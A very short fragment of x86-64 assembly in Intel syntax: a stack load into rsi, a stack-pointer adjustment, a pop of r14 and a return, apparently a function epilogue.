mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret